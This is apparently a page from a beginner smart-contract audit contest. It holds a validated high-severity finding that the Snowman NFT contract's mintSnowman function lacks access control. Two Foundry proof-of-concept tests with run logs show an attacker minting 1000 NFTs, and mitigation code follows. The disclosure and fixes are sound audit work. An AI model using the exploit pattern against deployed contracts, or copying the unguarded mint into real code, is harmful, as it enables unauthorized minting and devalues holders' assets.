Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Snowman::mintSnowman lacks access control - anyone can mint unlimited NFTs, bypassing entire Merkle airdrop

Root + Impact:// src/Snowman.sol
contract Snowman is ERC721, Ownable {
function mintSnowman(address receiver, uint256 amount) external {
@> // BUG: No onlyOwner, no onlyAirdrop, no check at all
@> for (uint256 i = 0; i < amount; i++) {
@> _safeMint(receiver, s_TokenCounter);
@> s_TokenCounter++;
@> }
}
}

Description: Snowman NFTs are supposed to be minted ONLY via SnowmanAirdrop::claimSnowman after Merkle proof + EIP-712 signature + Snow staking checks.

But Snowman::mintSnowman is external with zero access control. The contract inherits Ownable but never uses onlyOwner. Any address can mint unlimited NFTs for free to any receiver, completely bypassing the airdrop.

This destroys NFT scarcity. Minted NFTs are indistinguishable from legitimately claimed ones. Merkle tree + signature + staking becomes useless.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk:

Likelihood:High - Any externally owned account or contract can call mintSnowman at any time. No staking, no Merkle proof, no signature, no fee, no allowlist needed. Attack is trivial and can be automated by bots.

Impact:High - Unlimited free NFTs minted by anyone. Airdrop model fully bypassed, collection value and scarcity destroyed, legitimate users' NFTs devalued. Attacker can occupy all tokenIds by front-running.

Proof of Concept:Summary

Snowman NFTs are supposed to be minted ONLY via SnowmanAirdrop::claimSnowman after Merkle proof + EIP-712 signature + Snow staking checks. But Snowman::mintSnowman is external with zero access control. Any address can mint unlimited NFTs for free to any receiver, completely bypassing the airdrop.

Vulnerability Details

Root Cause - src/Snowman.sol:36

contract Snowman is ERC721, Ownable {
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
}
## Proof of Concept - Explanation
​
This PoC proves that any attacker with zero Snow, zero Merkle proof and zero signature can mint unlimited Snowman NFTs.
​
Attack Flow:
1. Attacker is a normal EOA with no Snow balance.
2. Attacker directly calls Snowman.mintSnowman(attacker, 1000) - no check stops him.
3. Contract loops and calls _safeMint 1000 times.
4. Attacker now owns tokenId 0 to 999. These NFTs look exactly same as legit claimed NFTs.
5. Legit users are diluted, s_TokenCounter is inflated, whole Merkle airdrop is bypassed.
​
How to run this PoC:
- Put this file in test/SnowmanAttack.t.sol
- Run command: forge test --match-test test_AttackerCanMintUnlimitedNFTs -vvv
- Expected result: Test PASSES, which means attack SUCCEEDS. If contract was secure, test would REVERT.
​
Supporting Code:
​
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
​
contract SnowmanAttackTest is Test {
Snowman snowman;
address attacker = makeAddr("attacker");
function setUp() public {
snowman = new Snowman();
}
function test_AttackerCanMintUnlimitedNFTs() public {
vm.prank(attacker);
snowman.mintSnowman(attacker, 1000);
assertEq(snowman.balanceOf(attacker), 1000);
assertEq(snowman.ownerOf(0), attacker);
assertEq(snowman.ownerOf(999), attacker);
assertEq(snowman.getTokenCounter(), 1000);
}
}

Recommended Mitigation: Restrict minting to SnowmanAirdrop only:

## Recommended Mitigation - Detailed Explanation
​
Root Cause: mintSnowman() has no access control. Anyone can call it.
​
Why this fix works: The only contract that should be allowed to mint is SnowmanAirdrop, because it is the ONLY contract that checks Merkle proof + EIP-712 signature + Snow balance + burns Snow. If we restrict mintSnowman to onlyAirdrop, direct attacker calls will revert and the airdrop flow remains the only path.
​
Step 1 - Add immutable airdrop address in Snowman.sol:
Store i_airdrop in constructor. This is gas efficient and cannot be changed later by attacker.
​
Step 2 - Add onlyAirdrop modifier:
Create custom error Snowman__NotAirdrop(). In modifier, check if msg.sender != i_airdrop then revert. Apply this modifier to mintSnowman().
​
Step 3 - Fix deployment:
In deploy script, first deploy Snowman, then deploy SnowmanAirdrop with snowman address, then set Snowman airdrop address. Alternatively, keep Ownable and call transferOwnership(address(airdrop)) immediately after deployment. Never leave owner as deployer EOA, otherwise deployer can still mint.
​
After Fix Verification:
- Attacker calls snowman.mintSnowman(attacker, 1000) -> should REVERT with Snowman__NotAirdrop
- Legit user calls airdrop.claimSnowman() with valid proof + signature -> should SUCCEED and mint 1 NFT
​
Supporting Code for Fix:
​
// In Snowman.sol
error Snowman__NotAirdrop();
address private immutable i_airdrop;
​
constructor(address airdrop) {
i_airdrop = airdrop;
}
​
modifier onlyAirdrop() {
if (msg.sender != i_airdrop) revert Snowman__NotAirdrop();
_;
}
​
function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 24 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!